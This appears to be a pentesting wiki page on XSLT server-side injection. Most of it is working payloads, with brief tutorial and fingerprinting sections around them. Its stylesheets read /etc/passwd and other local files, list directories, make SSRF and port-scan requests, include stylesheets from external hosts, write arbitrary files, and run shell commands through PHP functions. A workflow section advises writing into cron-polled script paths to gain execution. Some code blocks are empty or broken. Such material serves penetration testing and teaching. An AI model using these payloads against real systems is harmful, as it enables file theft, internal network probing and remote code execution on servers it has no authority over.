XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations)

{{#include ../banners/hacktricks-training.md}}

Basic Information

XSLT is a technology employed for transforming XML documents into different formats. It comes in three versions: 1, 2, and 3, with version 1 being the most commonly utilized. The transformation process can be executed either on the server or within the browser.

The frameworks that are most frequently used include:

  • Libxslt from Gnome,
  • Xalan from Apache,
  • Saxon from Saxonica.

For the exploitation of vulnerabilities associated with XSLT, it is necessary for xsl tags to be stored on the server side, followed by accessing that content. An illustration of such a vulnerability is documented in the following source: https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/.

Example - Tutorial

sudo apt-get install default-jdk
sudo apt-get install libsaxonb-java libsaxon-java

```xml:xml.xml



CD Title
The artist
Da Company
10000
1760


```xml:xsl.xsl
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
    <html>
    <body>
    <h2>The Super title</h2>
    <table border="1">
        <tr bgcolor="#9acd32">
            <th>Title</th>
            <th>artist</th>
        </tr>
        <tr>
        <td><xsl:value-of select="catalog/cd/title"/></td>
        <td><xsl:value-of select="catalog/cd/artist"/></td>
        </tr>
    </table>
    </body>
    </html>
</xsl:template>
</xsl:stylesheet>

Execute:

saxonb-xslt -xsl:xsl.xsl xml.xml

Warning: at xsl:stylesheet on line 2 column 80 of xsl.xsl:
  Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<html>
   <body>
      <h2>The Super title</h2>
      <table border="1">
         <tr bgcolor="#9acd32">
            <th>Title</th>
            <th>artist</th>
         </tr>
         <tr>
            <td>CD Title</td>
            <td>The artist</td>
         </tr>
      </table>
   </body>
</html>

Fingerprint

```xml:detection.xsl



Version:

Vendor:

Vendor URL:


Product Name:



Product Version:



Is Schema Aware ?:



Supports Serialization:



Supports Backwards Compatibility:




And execute

```xml
$saxonb-xslt -xsl:detection.xsl xml.xml

Warning: at xsl:stylesheet on line 2 column 80 of detection.xsl:
  Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<h2>XSLT identification</h2><b>Version:</b>2.0<br><b>Vendor:</b>SAXON 9.1.0.8 from Saxonica<br><b>Vendor URL:</b>http://www.saxonica.com/<br>

Read Local File

```xml:read.xsl





```xml
$ saxonb-xslt -xsl:read.xsl xml.xml

Warning: at xsl:stylesheet on line 1 column 111 of read.xsl:
  Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<?xml version="1.0" encoding="UTF-8"?>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

SSRF

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:include href="http://127.0.0.1:8000/xslt"/>
<xsl:template match="/">
</xsl:template>
</xsl:stylesheet>

Versions

There might be more or less functions depending on the XSLT version used:

Fingerprint

Upload this and take information

<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
 Version: <xsl:value-of select="system-property('xsl:version')" /><br />
 Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
 Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
 <xsl:if test="system-property('xsl:product-name')">
 Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
 </xsl:if>
 <xsl:if test="system-property('xsl:product-version')">
 Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
 </xsl:if>
 <xsl:if test="system-property('xsl:is-schema-aware')">
 Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
 </xsl:if>
 <xsl:if test="system-property('xsl:supports-serialization')">
 Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
/><br />
 </xsl:if>
 <xsl:if test="system-property('xsl:supports-backwards-compatibility')">
 Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
/><br />
 </xsl:if>
</xsl:template>
</xsl:stylesheet>

SSRF

<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl">
</esi:include>

Javascript Injection

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<script>confirm("We're good");</script>
</xsl:template>
</xsl:stylesheet>

Directory listing (PHP)

Opendir + readdir

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('opendir','/path/to/dir')"/>
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
</xsl:template></xsl:stylesheet>

Assert (var_dump + scandir + false)

<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
    <body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
        <xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)))==3')" />
        <br />
    </body>
</html>

Read files

Internal - PHP

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd', β€˜utf-8')"/>
</xsl:template>
</xsl:stylesheet>

Internal - XXE

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "/etc/passwd">]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
&ext_file;
</xsl:template>
</xsl:stylesheet>

Through HTTP

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="document('/etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>
<!DOCTYPE xsl:stylesheet [
<!ENTITY passwd SYSTEM "file:///etc/passwd" >]>
<xsl:template match="/">
&passwd;
</xsl:template>

document() usually expects XML

On libxslt, document() is useful for SSRF and for reading other XML documents, but trying to read arbitrary local text files such as /etc/passwd will often fail because the referenced resource is parsed as XML.

  • document('/path/to/file.xml') may work if the target file is valid XML.
  • document('/etc/passwd') commonly errors because the file is not XML.

This is useful when triaging a target: a failed document('/etc/passwd') does not necessarily mean the XSLT processor is hardened.

Parser asymmetry: XML hardened, XSLT still dangerous

Some applications harden the input XML parser but not the stylesheet parser. With lxml, options such as resolve_entities=False, no_network=True, dtd_validation=False, and load_dtd=False can block classic XXE in the uploaded XML while the XSLT still gets parsed with default settings or extension features enabled.

That pattern usually means:

  • XXE in the XML document may fail.
  • XSLT-specific features such as system-property(), document(), extension functions, and EXSLT elements may still be reachable.

So if XXE payloads fail, fingerprint the processor first and then switch to processor-specific XSLT payloads instead of stopping at the XML parser result.

Internal (PHP-function)

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('file_get_contents','/path/to/file')"/>
</xsl:template>
</xsl:stylesheet>
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
    <body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
        <xsl:copy-of name="asd" select="php:function('assert','var_dump(file_get_contents(scandir(chr(46).chr(47))[2].chr(47).chr(46).chr(112).chr(97).chr(115).chr(115).chr(119).chr(100)))==3')" />
        <br />
    </body>
</html>

Port scan

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="document('http://example.com:22')"/>
</xsl:template>
</xsl:stylesheet>

Write to a file

XSLT 2.0

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:result-document href="local_file.txt">
<xsl:text>Write Local File</xsl:text>
</xsl:result-document>
</xsl:template>
</xsl:stylesheet>

Xalan-J extension

<xsl:template match="/">
<redirect:open file="local_file.txt"/>
<redirect:write file="local_file.txt"/> Write Local File</redirect:write>
<redirect:close file="loxal_file.txt"/>
</xsl:template>

libxslt / EXSLT exsl:document

If the target fingerprints as libxslt (system-property('xsl:vendor')) and the application lets you upload or store attacker-controlled XSLT, test EXSLT secondary output. exsl:document can write a new document to an arbitrary path writable by the XSLT process.

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
  version="1.0"
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:exsl="http://exslt.org/common"
  extension-element-prefixes="exsl">
  <xsl:template match="/">
    <exsl:document href="/var/www/html/test.txt" method="text">
0xdf was here!
    </exsl:document>
  </xsl:template>
</xsl:stylesheet>

Practical workflow:

  • First write a marker into a web-served path to confirm the primitive.
  • Then write into an execution sink already present on the host, such as a cron-polled script directory, a parser auto-reload path, or another scheduled task input.

If you are generating shell payloads through XML, remember that this is XML encoding, not URL encoding. For example, use &amp; to generate a literal & inside the written file. Writing %26 will usually persist %26 literally and break shell redirections.

Other ways to write files in the PDF

Include external XSL

<xsl:include href="http://extenal.web/external.xsl"/>
<?xml version="1.0" ?>
<?xml-stylesheet type="text/xsl" href="http://external.web/ext.xsl"?>

Execute code

php:function

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('shell_exec','sleep 10')" />
</xsl:template>
</xsl:stylesheet>
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)));')" />
<br />
</body>
</html>

Execute code using other frameworks in the PDF

More Languages

In this page you can find examples of RCE in other languajes: https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection#C%23%2FVB.NET%2FASP.NET (C#, Java, PHP)

Access PHP static functions from classes

The following function will call the static method stringToUrl of the class XSL:

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"
version="1.0">
<xsl:output method="html" version="XHTML 1.0" encoding="UTF-8" indent="yes" />
<xsl:template match="root">
<html>

<xsl:value-of select="php:function('XSL::stringToUrl','une_superstring-Γ Γ”|modifier')" />

</html>
</xsl:template>
</xsl:stylesheet>

(Example from http://laurent.bientz.com/Blog/Entry/Item/using_php_functions_in_xsl-7.sls)

More Payloads

Brute-Force Detection List

{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt
{{#endref}}

References

{{#include ../banners/hacktricks-training.md}}